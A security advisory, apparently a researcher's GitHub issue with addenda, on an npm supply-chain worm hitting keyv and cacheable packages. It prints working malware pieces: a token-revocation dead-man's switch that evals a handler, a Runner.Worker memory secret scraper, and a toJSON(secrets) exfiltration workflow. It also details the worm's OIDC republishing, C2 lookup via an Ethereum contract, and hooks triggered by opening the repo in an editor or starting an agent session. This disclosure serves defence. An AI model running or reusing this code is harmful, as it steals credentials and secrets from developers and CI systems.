Skip to content

[SECURITY] Supply-chain compromise: 10 packages across jaredwray/keyv + jaredwray/cacheable #1692

Closed

Description

@LidorMachluf

This report replaces jaredwray/keyv#2047, which was deleted. So were #2044, #2045 and #2046 — every security report filed on this incident. The api.github.com responses are 410 "This issue was deleted". Deleting an issue requires repository admin; it cannot be done by the reporter or by an ordinary user. The malicious versions remained the latest tag on npm throughout. Refiling with the full analysis, and archived off-platform so it cannot be removed again.

Ten packages across two repositories are affected, all still latest on npm, ~515M downloads/week combined.


⚠️ Read this before you rotate any credential

The payload installs a revocation-triggered dead-man's switch. It polls api.github.com/user with the stolen token every 60 seconds and executes an attacker-supplied handler the moment that token starts returning 40x. Revoking the token is what fires it. The standard "rotate everything first" incident playbook detonates the payload.

Hunt and remove these before rotating:

~/.local/bin/gh-token-monitor.sh
~/.config/gh-token-monitor/{token,handler,started_at}
~/Library/LaunchAgents/com.user.gh-token-monitor.plist    # macOS  (launchctl bootout first)
~/.config/systemd/user/gh-token-monitor.service           # Linux  (+ loginctl disable-linger)
/tmp/gh-token-monitor.{out,err}.log

It self-terminates after a 24h TTL, so absence now does not mean a host was never hit.


1. Affected packages

Every version below adds "preinstall": "node setup.mjs", absent from the version immediately preceding it. Verified against the npm registry, not taken from any third-party list.

Published (UTC) Package Poisoned Last clean Downloads/wk Repo
09:35:00 keyv 6.0.0 5.6.0 / 6.0.0-rc.1 154.1M jaredwray/keyv
10:09:44 @cacheable/net 2.1.1 2.1.0 975 jaredwray/cacheable
10:10:34 @cacheable/node-cache 3.1.2 3.1.1 1.6M jaredwray/cacheable
10:10:44 cacheable 2.5.1 2.5.0 7.9M jaredwray/cacheable
10:10:55 flat-cache 6.1.24 6.1.23 149.9M jaredwray/cacheable
10:11:24 cacheable-request 13.0.20 13.0.19 34.0M jaredwray/cacheable
10:11:29 @cacheable/memory 2.2.1 2.2.0 7.2M jaredwray/cacheable
10:13:02 file-entry-cache 11.1.6 11.1.5 147.6M jaredwray/cacheable
10:14:21 @cacheable/utils 2.5.1 2.5.0 8.7M jaredwray/cacheable
10:14:41 cache-manager 7.2.10 7.2.9 4.3M jaredwray/cacheable

All ten published via GitHub Actions OIDC. All ten still latest at time of writing.

The payload is byte-identical across all ten

Each tarball contains exactly package/setup.mjs and package/Math_Symbol.js:

sha256(package/Math_Symbol.js) = 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc
                                 ^ identical in all 10 packages, both repos
sha256(package/setup.mjs)      = 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668

Reproduce in two lines:

curl -sL https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.24.tgz -o p.tgz
tar xzOf p.tgz package/Math_Symbol.js | shasum -a 256

One payload file copied across two repositories — not ten independently generated droppers.

Why this package set specifically

flat-cache and file-entry-cache are eslint's cache layer; cacheable-request sits under got. The realistic install population is CI runners. That is not incidental: two of the decrypted payload components target CI and nothing else — a /proc/<pid>/mem scraper that reads GitHub Actions secrets out of Runner.Worker's address space, and a planted workflow that exfiltrates toJSON(secrets). This package set is the delivery vehicle those components were built for.


2. Attack chain, stage 1 — setup.mjs

Obfuscator.io-style (hex string array + rotation). Recovered control flow:

  1. which bun — if Bun is already on PATH, skip to step 4.
  2. Otherwise detect platform/arch (darwin/linux/win32 × x64/arm64, musl via ldd --version + /etc/os-release Alpine check, plus baseline variants) and download
    https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<target>.zip
  3. Extract (bundled ZIP parser; on Windows powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass Expand-Archive), chmodSync(bun, 0o755)
  4. execFileSync(bun, ['<pkg>/Math_Symbol.js'], { stdio: 'inherit', cwd })
  5. rmSync(tmpdir, { recursive: true, force: true }) — deletes the downloaded runtime afterwards

Two consequences for defenders:

  • There is no attacker domain in stage 1. The only outbound host is github.com. Egress allowlists and reputation-based monitoring will not fire. Hunting for a novel C2 in setup.mjs returns nothing, by design.
  • Absence of Bun is not a mitigation. The dropper silently acquires the runtime it needs, uses it, then removes it.

3. Stage 2 — Math_Symbol.js, fully decrypted

727,680 bytes, Bun-compiled CJS. Unsealed in a vm context with no process, Buffer, require or fetch, every module a recording Proxy, only crypto/buffer ever made real, under node --experimental-permission. Nothing was executed for effect.

Cipher chain

master  = pbkdf2Sync(<table[613]>, "svksjrhjkcejg", 200000, 32, "sha256")
perKey  = <internal module>(concat of basE91 table entries)   -> 64-hex
secret  = AES-256-GCM(perKey, blob) then gunzip
          blob layout = iv(12) | authTag(16) | ciphertext     <-- tag BEFORE ct, not appended
          ciphertexts are SPLIT across several table entries and concatenated

Why it resisted static analysis — three traps

Recording these because anyone re-deriving this will hit all three, and the second one manufactures a false negative:

  1. basE91 output is UTF-8, decoded via new TextDecoder().decode(new Uint8Array(b)). Reimplementing basE91 and reading back as latin1 mangles every multi-byte string.
  2. The memo cache is shared across ~72 accessors that each use a different basE91 alphabet. Whichever accessor touches an index first poisons it for all others. A poisoned index yields binary garbage — and garbage never matches a hostname regex, so this trap fabricates a confident "no C2 found". Every negative grep must be re-run against a clean table.
  3. // @bun @bun-cjs means the last statement is a bare function expression taking (exports, require, module, __filename, __dirname). Plain Node never invokes it, so the file looks inert and the string accessor is never bound. Name the factory, call it with a synthetic recording require, and it reports every module it wants.

The ten sealed payloads, all recovered

Content
bash bootstrap — installs Bun 1.3.13, runs math_init.js
.claude/settings.json — SessionStart hook → node .vscode/setup.mjs
.vscode/tasks.json — runOn: folderOpen → node .claude/setup.mjs
obfuscated setup.mjs (Node Bun-downloader, 322 lines)
Python variant of the same bootstrapper
dead-man's-switch installer
Runner.Worker /proc/<pid>/mem secret scraper
malicious workflow Run Copilot — toJSON(secrets) → upload-artifact
RSA-4096 public key (exfil encryption)
RSA-4096 public key #2

Rows 2 and 3 matter: the .claude/.vscode hook pair exists as encrypted payloads inside the blob, independent of the copies committed to the repo. Payload-level and commit-level evidence corroborate each other.

3a. The dead-man's switch

Takes a stolen token and a handler string as arguments, writes both to ~/.config/gh-token-monitor/ mode 600, and installs itself as a macOS LaunchAgent (com.user.gh-token-monitor, RunAtLoad + KeepAlive) or a Linux systemd user service with loginctl enable-linger so it survives logout. The watcher it writes:

CONFIG_DIR="${HOME}/.config/gh-token-monitor"
GITHUB_TOKEN="$(cat "${CONFIG_DIR}/token")"
HANDLER="$(cat "${CONFIG_DIR}/handler")"

MAX_TTL=86400
CHECK_INTERVAL=60

while true; do
  ELAPSED=$(( $(date +%s) - START_TIME ))
  if [[ $ELAPSED -ge $MAX_TTL ]]; then
    rm -f "$STARTED_FILE"; exit 0
  fi

  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer ${GITHUB_TOKEN}" \
    -H "Accept: application/vnd.github+json" \
    "https://api.github.com/user") || true

  if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
    eval "$HANDLER"          # <-- fires when the token is revoked
    rm -f "$STARTED_FILE"; exit 0
  fi

  sleep $CHECK_INTERVAL
done

The systemd unit describes itself as GitHub Token Validity Monitor. It reads as a developer convenience if you find it and do not look closely.

This artifact settles intent on its own. No linter, secret scanner, or release tool installs a persistent agent that watches for its own stolen credential to be revoked and then evals a remote-supplied string.

3b. CI secret scraper

def get_pid():
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid
    raise Exception('Can not get pid of Runner.Worker')

pid = get_pid()
with open(f"/proc/{pid}/maps") as map_f, open(f"/proc/{pid}/mem", 'rb', 0) as mem_f:
    for line in map_f.readlines():
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m.group(3) == 'r':
            start, end = int(m.group(1), 16), int(m.group(2), 16)
            if start > sys.maxsize: continue
            mem_f.seek(start)
            try:    sys.stdout.buffer.write(mem_f.read(end - start))
            except OSError: continue

Reads Runner.Worker's address space directly, so log masking and env-var scoping within the job are no defence.

3c. Planted workflow — every repository secret to a build artifact

name: Run Copilot
on:
  push:
jobs:
  format:
    runs-on: ubuntu-latest
    env:
      VARIABLE_STORE: ${{ toJSON(secrets) }}
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - name: Copilot Setup
        run: echo "$VARIABLE_STORE" > format-results.txt
      - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
        with:
          name: format-results
          path: format-results.txt

Innocuous name, pinned action SHAs so it reads like a well-run pipeline, exfil via an ordinary build artifact. Sweep every reachable repo for a Run Copilot workflow or any workflow referencing toJSON(secrets).

3d. Harvest surface

AWS AKIA… / aws_secret_access_key, IMDS 169.254.169.254, ECS 169.254.170.2; GCP service-account JSON; Stripe sk_/pk_ (test and live); Azure AccountKey / client_secret; DB URLs mongodb|mysql|postgresql|redis://user:pass@; -----BEGIN … PRIVATE KEY-----; ghp_/ghs_/npm_; Vault client_token; k8s /var/run/secrets/kubernetes.io/serviceaccount/token; GitHub /actions/secrets and /actions/organization-secrets.


4. Third trigger — opening the repo is enough

Beyond npm install, the payload was committed into the repository itself with two cross-wired auto-execution hooks:

  • .claude/settings.json → SessionStart hook → node .vscode/setup.mjs
  • .vscode/tasks.json → runOn: folderOpen → node .claude/setup.mjs

Each config points at the other directory's loader. Deleting one directory leaves the other fully functional — deliberate redundancy against partial cleanup. .claude/math_init.js is byte-identical (9fc2570b…1bcc) to the published Math_Symbol.js: the same payload under two filenames.

Three independent triggers:

  1. npm install <affected package> → preinstall → Math_Symbol.js
  2. open the repo folder in VS Code → folderOpen task → .claude/setup.mjs → math_init.js
  3. start an agent session in the repo → SessionStart hook → .vscode/setup.mjs → math_init.js

Scope bound (verified with tar tzf): .claude/ and .vscode/ ship in no tarball. Triggers 2 and 3 reach repo cloners and forkers, not package installers — a separate exposed population, which specifically includes anyone who cloned this repo to investigate the incident.


5. Timeline

UTC Event
2026-08-03 19:21 [email protected] published — no preinstall, no extra files
09:02:37 ee2681a9b6 "release: v6.0.0" (unsigned) — adds setup.mjs + Math_Symbol.js, and adds core/keyv/test/preinstall.test.ts asserting the hook exists and executing it
09:04:30 d8c850c780 "chore: update config" — author spoofed to github-actions[bot], committer web-flow, 670 additions / 5 files. Plants the .claude + .vscode hooks. Renders as a verified commit
09:04–09:54 18 commits titled "chore: update config" under that bot identity. All touch 0 files except d8c850c780. Decoys
09:23:50 f97eabcdd0 "keyv: remove preinstall test" — deletes the test added 21 min earlier. Hook and files kept. This is the commit named in the SLSA attestation for the published tarball
09:35:00 [email protected] published
09:39:45 174f6a5569 — adds both files to all 19 @keyv/* workspace packages. Staged, not yet published
10:09–10:14 Nine jaredwray/cacheable packages published with the same payload
— All four security reports on the keyv tracker deleted (HTTP 410)

Two things in that sequence are not explicable as accident: the corroborating test was removed before the artifact was cut, and the payload-bearing commit was buried among 17 empty commits sharing its message.

The repo has no automation that commits back — all 7 workflows at ee2681a9b6 were checked and none contain git commit, git push, create-pull-request or add-and-commit. So author: github-actions[bot] on d8c850c780 cannot be this repo's own CI.


6. On provenance — valid SLSA is not exoneration here

[email protected] carries a valid SLSA attestation from the real repository (refs/tags/v6.0.0, .github/workflows/release.yaml, event=release), and the tarball bytes match raw.githubusercontent.com for both files. There is no post-build injection. The provenance is genuine and proves only that poisoned source was built by the real pipeline.

Worse: the decrypted payload carries npm publish, OIDC token-exchange, Fulcio and Rekor machinery (registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/, fulcio.sigstore.dev, rekor.sigstore.dev, slsa.dev/provenance/v1). Republishing packages with valid provenance is a capability of this payload. Valid provenance on any subsequent release from these repos is not evidence of cleanliness.

Because the payload executed inside jobs holding npm publish rights and a GITHUB_TOKEN, the CI environment itself must be treated as compromised.


7. There is no C2 domain

Verified against the fully decrypted, un-poisoned string table: no plaintext C2 host is embedded, and the URL set is identical to the pre-decrypt pass. Exfil rides GitHub-owned infrastructure — dead-drop repos and Actions artifacts — under RSA-4096 envelope encryption with the two embedded public keys.

This is why URL-based and reputation-based hunting finds nothing, and why the crypto material is the only usable pivot:

pbkdf2 password : 2ddb1f3a749324a638484f53ad7da633d239cc9e7329cf0920a3d177ba48fc06
pbkdf2 salt     : svksjrhjkcejg              (200000 iters, 32 bytes, sha256)
derived master  : 899d419bf1e9ecc25bd436832aff03b6b9f73af20b053cbb9ff27e43512378b3
RSA-4096 pubkey #1  sha256(DER) : dc1e6a7ddb29390dd53cf1e5aac40ad9204ea7c6b83ef5656e7cb7a796808b67
RSA-4096 pubkey #2  sha256(DER) : 166be2b7b58a440f7b17520ffb0368be5d89c76661704b4945417eb04b9ada65
payload sha256  Math_Symbol.js  : 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc
dropper sha256  setup.mjs       : 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668
persistence     : com.user.gh-token-monitor / gh-token-monitor.service
commits         : ee2681a9b6, d8c850c780, f97eabcdd057105f1fce3f05d6c029dac3f2ac78, 174f6a55690b0812a69adef47260ba8714a9be48

8. Attribution — stated conservatively

d8c850c780 has committer web-flow, meaning it was made through the GitHub web UI or API with the author field spoofed to a bot. That is consistent with a stolen PAT or session and with the account itself; the two are not distinguishable from outside the organisation. The accurate statement is that the jaredwray account, or a credential held by it, is compromised. Treat the maintainer as a victim pending their own account of events. The operational response is identical either way.

The same applies to the deleted reports: deletion requires repository admin, which narrows the actor to the compromised credential, the maintainer, or GitHub staff — but does not distinguish between them.


9. Requested actions

For the maintainers

  1. Revoke the npm publish credential and disable the release workflows first, so a routine release cannot ship more. Note the payload is staged on main in keyv for all 19 @keyv/* packages (174f6a5569) — check cacheable for an equivalent staging commit.
  2. npm deprecate or unpublish all ten versions; report to npm security.
  3. Remove the committed payload from both repos and re-cut affected tags.
  4. Audit .github/workflows/ for Run Copilot or any toJSON(secrets) reference.
  5. Check .claude/, .vscode/, .cursor/, .gemini/ at HEAD and at every release commit.
  6. Rotate all credentials — after the dead-man's-switch sweep, not before.
  7. Publish a GHSA covering all ten packages.

For anyone who installed an affected version on or after 2026-08-04T09:35Z

  1. Sweep for the dead-man's switch (§ top) before rotating anything.
  2. Pin to the last-clean column in §1. For keyv, 6.0.0-rc.1 is a functionally complete v6 — its dist/ is byte-identical to 6.0.0's, since the library code was never touched.
  3. Rotate GitHub PATs and App installation tokens, npm tokens, AWS keys, Vault tokens, GCP service accounts, k8s service accounts, and any certificate/key material reachable from the build user.
  4. Check CI logs and artifacts for anything named format-results.
  5. If you cloned either repo and opened it in VS Code or an agent session, treat that host as executed-on regardless of whether you ran npm install.

The unsealing harness, the full decrypted payload set, and the verification scripts are available to the maintainers, npm security, or GitHub Security on request. This report is archived off-platform; if it is deleted again, that fact will be noted in the archived copy.

Reported by Lidor Machluf / Upwind Security

Activity

  1. LidorMachluf commented on Aug 4, 2026

    @LidorMachluf
    Author

    Correction and major update — the C2 does exist. It's resolved from an Ethereum contract at runtime.

    My report above states that "no C2 domain exists" and that exfil rides GitHub infrastructure. The first half of that is wrong and I'm retracting it.

    What was accurate: there is no plaintext C2 string anywhere in the payload, verified against a clean decrypted string table. What was wrong was the inference I drew from that absence. The C2 is not missing — it is fetched at runtime from a smart contract on Ethereum mainnet. This is the EtherHiding technique, and it is why every URL hunt, mine included, came up empty.

    contract  0xE1f2395ee43e45A1556EC6438a88c31B83493103   (ETH mainnet)
    selector  0x53ed5143   -> eth_call returns a LIST of C2 domains
    transport POST https://<domain>:443/router
    RPCs      ~75 hardcoded public endpoints (llamarpc, ankr, flashbots,
              cloudflare-eth, drpc, publicnode, tenderly, ...) tried in turn
    

    Two consequences that change the response:

    The operator rotates C2 by writing to the contract. No repackaging, no republishing, and blocking any single RPC provider accomplishes nothing — there are ~75 of them and anyone can add more. Domain blocklists cannot contain this.

    The response is executed: await eval(resp.code). The C2 has arbitrary remote code execution on every affected host. Everything I documented as the "harvest surface" is therefore a floor on capability, not a ceiling — whatever the operator sends next is what the payload does next. Treat any host that installed an affected version as fully compromised, not as having leaked a specific list of credentials.

    Two fallback tiers, both on GitHub

    If every contract-supplied domain is unhealthy:

    Tier 2 — signed commit lookup. Searches GitHub commits for the marker thebeautifulmarchoftime, verifies the hit against embedded RSA public key #2, and reads a fallback domain from the commit message. That is what the second RSA key was for.

    Tier 3 — GitHubSender, a dead drop in the victim's own account.

    POST /user/repos                                        -> PUBLIC repo,
                                                               description "Shai-Hulud: Here We Go Again"
    PUT  /repos/<victim>/<repo>/contents/results/<file>      -> the harvest
    

    augmentEnvelope() embeds the victim's own GitHub token, double-base64'd, into the uploaded payload. A second marker string, IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients, is written as a commit message containing the victim's token.

    That last part is worth restating plainly: anyone can search GitHub commits for that marker right now and enumerate compromised accounts — and read their tokens. It is simultaneously a victim list and a live credential leak.

    What to actually detect on

    Domain-based egress blocking cannot work here: stage 1 pulls the official Bun runtime from github.com/oven-sh/bun, the C2 is resolved per-run from a contract, and the fallback rides api.github.com. Three signals that do work:

    1. Network — eth_call / Ethereum JSON-RPC traffic originating from a build agent or developer laptop, and POST https://<host>/router. A CI runner talking to llamarpc, ankr, cloudflare-eth or publicnode has no legitimate reason to.
    2. GitHub — a new public repository in your org or user accounts with the description Shai-Hulud: Here We Go Again and a results/ directory. Search for this immediately; it is both a compromise indicator and an active token leak.
    3. Host — a PID lockfile at <tmpdir>/tmp.dpkg_14527.lock, deliberately masquerading as a dpkg lock.

    Scoping correction: there is no geofence

    I previously had no answer on targeting scope. The function I could not classify is a PID lock, not a geographic or environment gate. It uses the tmp.dpkg_14527.lock file above purely to prevent concurrent instances.

    This matters: unlike sibling campaigns in this family that gate on region or on CI-only execution, this one runs everywhere — developer laptops included. There is no "we're not in scope" reading available on the basis of geography or environment type.

    Commit author spoofing — a triage trap

    Commit authorship in this incident is spoofed in more than one way. d8c850c780 (which planted the editor hooks) is authored as github-actions[bot] with committer web-flow, which renders as a verified commit. Others in the set are authored as claude <[email protected]>, all under the headline chore: update config.

    The practical consequence: git log --author triage misattributes this activity to an AI coding assistant, and signature-status triage skips the bot-attributed commits entirely. Neither heuristic surfaces the payload commit.

    The family is confirmed

    The Shai-Hulud: Here We Go Again repository description is the operator's own label. This is Shai-Hulud, matching prior npm worm activity rather than a novel actor.


    Everything else in the report above stands — the ten affected packages, the byte-identical payload hash, the dead-man's switch, the CI memory scraper, the toJSON(secrets) workflow, the cross-wired editor hooks, and the timeline. The correction is specific to the C2 mechanism and its consequences, and it makes the incident materially worse rather than better: an RCE channel the operator can re-point at will, plus victim tokens currently readable in public commit messages.

    Reported by Lidor Machluf / Upwind Security

  2. LidorMachluf commented on Aug 4, 2026

    @LidorMachluf
    Author

    Addendum — self-propagation via OIDC trusted publishing, and built-in anti-forensics

    Further analysis of the readable source. Three findings that change what "contained" means for this incident, plus a correction to how the commit authorship should be read.

    1. The worm republishes packages using OIDC trusted publishing — no stored npm token needed

    This is the propagation mechanism, and it inverts a common assumption:

    1. scan the repo's CI config for release tooling:
         semantic-release | changeset publish | @changesets/cli | release-it | lerna publish
    2. mint an Actions OIDC token with  &audience=npm:registry.npmjs.org
    3. exchange it:  POST registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/<pkg>
    4. updateTarball(): unpack, inject
           optionalDependencies["@opensearch/setup"] =
             "github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de"
         bump the patch version by +1, repack (gzip-validated)
    5. re-publish with header  Npm-Command: publish
    

    "We use trusted publishing / OIDC instead of long-lived npm tokens" is not a mitigation against this — it is the mechanism. No npm token needs to be stolen or stored. It also explains how [email protected] shipped with its own genuine, verifiable provenance.

    Two properties make the injected dependency easy to miss:

    • It is an optionalDependency, so resolution failure is non-fatal. A poisoned package installs cleanly and silently even when the reference is dead.
    • The value is a github: specifier, so the npm name is only a key. @opensearch/setup returning 404 on the registry is irrelevant and should not be read as reassurance.

    Current propagation status — and please do not read this as "inert":

    GET /repos/opensearch-project/opensearch-js           -> 200
    GET .../commits/d446803f4c3bc116263faa3499a1d3f95b2825de -> 422 "No commit found for SHA"
    
    git fetch --depth=1 https://github.com/opensearch-project/opensearch-js.git d446803f…
      -> fatal: remote error: upload-pack: not our ref d446803f…
    

    REST alone is insufficient here, because a github:owner/repo#sha spec is fetched by git and GitHub serves objects across a repository's entire fork network — hence the git fetch confirmation. The object is unreachable in that network today. The attacker can push it at any time. Block the dependency regardless; this is a time-bound observation, not a safety property.

    Two concrete actions: watch for that SHA appearing anywhere in the opensearch-js fork network, and treat any package that gains an @opensearch/setup optional dependency as compromised.

    2. Actions secret theft is disguised as Dependabot and CodeQL, then deletes its own tracks

    branch   dependabot/github_actions/format/setup-formatter   <-- looks like Dependabot
    file     .github/workflows/codeql_analysis.yml              <-- looks like CodeQL
    content  the "Run Copilot" workflow (VARIABLE_STORE=toJSON(secrets) -> upload-artifact)
    

    It then polls /actions/runs?branch=…, downloads /actions/artifacts/<id>/zip, and finally issues a DELETE on the workflow run and a DELETE on the branch ref.

    The secrets leave through a legitimate Actions artifact and the evidence removes itself. Audit review that only examines surviving branches and runs will find nothing. If you are investigating a suspected hit, you need the audit log, not the current repo state — look for workflow-run and branch deletions rather than for the workflow file.

    3. Harvest modules — broader than the earlier property-name list implied

    Module Target
    MX5r1QK AWS — paged describe/batch, credentials
    bOOIKM AWS Secrets Manager + npm tokens
    YVD8JQR identity resolution (whoami / account)
    Df47Gt Kubernetes — KUBERNETES_SERVICE_HOST, in-cluster API
    Ve3hoM HashiCorp Vault — VAULT_ADDR, including 127.0.0.1
    QTjoYQ per-GitHub-token: Actions secrets + npm_[A-Za-z0-9]{36,}
    FEj38A repo/branch/commit injector, on ghs_old / ghs_jwt App tokens

    Vault at 127.0.0.1 and in-cluster Kubernetes API access are worth noting specifically: a locally-bound Vault agent or a pod service account is reachable from the payload's position, and neither is protected by network egress controls.

    Envelope crypto: random AES-256-GCM key + 12-byte IV, key RSA-OAEP(SHA-256)-encrypted to public key #1, body base64(iv || ct || tag). Only the operator's private key opens it — captured exfil traffic is not readable by defenders, so packet capture will confirm exfiltration occurred but will not tell you what left.

    4. The payload copies itself into victim repositories

    The planted .claude/math_init.js has sourcePath: Bun.main — the running payload writes itself into the repo it lands in, alongside the cross-wired .claude / .vscode hooks documented earlier.

    5. Correction on commit authorship — both spoofs are real, in different places

    I asked earlier how the github-actions[bot] author I verified squared with a claude-authored commit. They are different contexts and both hold:

    • In jaredwray/keyv, d8c850c780 — author spoofed to github-actions[bot], committer web-flow. Verified directly against the API. Renders as a verified commit.
    • In the payload's own repo-planting routine (HAjY2M6), commits are written as claude <[email protected]> under the headline chore: update config.

    So a victim repository hit by the planting routine will show chore: update config authored by claude. git log --author triage misattributes it to an AI coding assistant, and signature-status triage skips the bot-attributed one. Neither heuristic surfaces the payload.

    6. Host IOC — a fake dpkg lock

    TGwrOx() is a single-instance PID lock using <os.tmpdir()>/tmp.dpkg_14527.lock, deliberately named to look like a dpkg lock. If the file exists and the recorded PID is live the run exits 0; otherwise the stale lock is replaced.

    /tmp/tmp.dpkg_14527.lock              # Linux
    /var/folders/**/T/tmp.dpkg_14527.lock # macOS
    

    Confirming the earlier scoping note: there is no geographic, locale, or CI-only gate anywhere in the entry path. This runs on every platform it lands on, developer laptops included.

    One conditional gate does exist: rUQwvs() reads GITHUB_WORKFLOW_REF / GITHUB_REPOSITORY / GITHUB_WORKSPACE, opens the current workflow file, and returns true if it contains release tooling. That gates only the GitHub-App-token branch-injection fallback, which runs when no usable ghtoken was found and the current workflow is not already a release workflow.

    Still unresolved

    The dead-drop repository name is produced by a control-flow-flattened generator requiring runtime state I could not reconstruct out-of-band. Hunt on the repository description (Shai-Hulud: Here We Go Again) plus a results/ directory instead — both confirmed.


    Consolidated IOCs

    ETH contract    : 0xE1f2395ee43e45A1556EC6438a88c31B83493103  (selector 0x53ed5143)
    exfil path      : POST https://<contract-supplied-domain>:443/router
    worm dep        : optionalDependencies["@opensearch/setup"] =
                      github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de
    inject branch   : dependabot/github_actions/format/setup-formatter
    inject file     : .github/workflows/codeql_analysis.yml   (workflow named "Run Copilot")
    dead-drop repo  : public repo, description "Shai-Hulud: Here We Go Again", dir results/
    commit marker 1 : IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients
                      (format <marker>:<base64>; the commit MESSAGE is the victim's token)
    commit marker 2 : "thebeautifulmarchoftime "  (RSA-verified fallback C2 domain channel)
    host lockfile   : <os.tmpdir()>/tmp.dpkg_14527.lock
    persistence     : com.user.gh-token-monitor / gh-token-monitor.service
    payload sha256  : 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc
    dropper sha256  : 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668
    RSA pubkey #1   : dc1e6a7ddb29390dd53cf1e5aac40ad9204ea7c6b83ef5656e7cb7a796808b67  (sha256 DER)
    RSA pubkey #2   : 166be2b7b58a440f7b17520ffb0368be5d89c76661704b4945417eb04b9ada65  (sha256 DER)
    pbkdf2          : pw 2ddb1f3a749324a638484f53ad7da633d239cc9e7329cf0920a3d177ba48fc06
                      salt "svksjrhjkcejg", 200000 iters, 32 bytes, sha256
    

    Reported by Lidor Machluf / Upwind Security

  3. LidorMachluf commented on Aug 4, 2026

    @LidorMachluf
    Author

    Update: two corrections I owe, a resolved C2, and the campaign's actual objective

    Further analysis has both invalidated two claims I made above and uncovered what this campaign is actually for. Corrections lead so they aren't buried.


    1. Correction — my ESLint impact claim was wrong

    I wrote that flat-cache and file-entry-cache are ESLint's cache layer and that the realistic install population is therefore CI runners. The second half does not follow, and I should not have asserted it.

    [email protected] → file-entry-cache ^8.0.0 → flat-cache ^4.0.0
    
    poisoned:       file-entry-cache 11.1.6   (not in ^8.0.0)
                    flat-cache       6.1.24   (not in ^4.0.0)
    

    Neither poisoned version is reachable from ESLint. These packages are historically ESLint's cache layer, but ESLint pins major ranges that exclude the poisoned versions outright. ESLint users did not pull this payload through that path.

    The CI-runner exposure conclusion may still hold via direct dependence on cacheable, cache-manager, keyv or @cacheable/* — but it is not established through ESLint and I am no longer asserting it that way.

    2. Correction — I said there was no geofence. There is one.

    I stated that no geographic, locale, or CI-only gate existed anywhere in the entry path, and that this runs everywhere including developer laptops. The first half is wrong.

    The entry point calls a check that exits with the debug string:

    Exiting as russian language detected!
    

    followed by process.exit(0). This is standard CIS-exclusion tradecraft and matches the ru geofence in a sibling campaign from June.

    What the check actually inspects is unresolved — it lives inside the same control-flow-flattened provider that generates the dead-drop repository name, which I could not drive out-of-band. Only the debug string names the semantics. I am deliberately not claiming the mechanism is locale, timezone, or keyboard layout; I don't know which.

    The error is worth naming, because it's a reasoning error rather than a tooling one. I examined TGwrOx(), correctly concluded it was only a PID lock, and then inferred "therefore nothing gates execution." The gate was one frame up, in the caller I hadn't read yet. Absence of a gate in the function you examined is not absence of a gate.

    3. The campaign has a named downstream target: opensearch-js

    This is the finding that reframes everything else. The entry point's first action:

    async function C9ttUzl(refFrag, repoFrag) {
      if (!process.env.GITHUB_ACTIONS) return;
      const { GITHUB_WORKFLOW_REF: ref, GITHUB_REPOSITORY: repo } = process.env;
      if (ref?.includes(refFrag) && repo?.includes(repoFrag)) {
          await new dUaPCu().execute();      // the OIDC trusted-publishing worm
          process.exit(0);
      } else if (repo?.includes(repoFrag)) {
          process.exit(0);                   // right repo, wrong workflow -> exit SILENTLY
      }
    }
    // called as: C9ttUzl("release-drafter.yml", "/opensearch-js")

    The OIDC trusted-publishing worm does not fire everywhere. It fires only inside GitHub Actions, only when GITHUB_REPOSITORY contains /opensearch-js, and only when GITHUB_WORKFLOW_REF contains release-drafter.yml. Landing in opensearch-js under any other workflow makes it exit silently rather than act — deliberately avoiding burning the target.

    This explains the otherwise-odd injected dependency github:opensearch-project/opensearch-js#d446803f… that I flagged earlier as inert. It isn't inert; it's the objective. keyv, cacheable and the rest are the delivery mechanism for reaching an opensearch-js release runner. The pinned SHA doesn't resolve yet because the operator hasn't landed there yet.

    The OpenSearch security team should be notified. Watch opensearch-project/opensearch-js for any release-drafter.yml run, any unexpected +1 patch publish, and for that SHA appearing in the repository's fork network.

    It also revises my earlier framing: this is not primarily a credential-harvesting campaign that happens to spread. The harvesting is broad, but the worm is precision-targeted at one repository.

    4. The C2 infrastructure is now fully resolved

    The payload has no hardcoded C2 — it resolves domains at runtime from an Ethereum contract (EtherHiding). That contract has now been read directly. This was a read-only public blockchain query; nothing was sent to any attacker host.

    contract  0xE1f2395ee43e45A1556EC6438a88c31B83493103   (Ethereum mainnet)
    getter    0x53ed5143  ->  string[]
    block     25681244 (pinned; confirmed byte-identical on 2 independent RPC providers)
    

    Current C2 domain: npm-cache.com

    The operator wallet 0x55f9780e1492344b7417fa723aedc4d0b97f31cd has a nonce of 4, so its entire history is visible, and the setter calldata gives the complete domain set including rotated-out entries:

    when (UTC) domains set
    2026-05-25 08:46:23 npm-cache.com, pypi-get.com, js-mirror.com
    2026-05-25 11:21:23 npm-cache.com

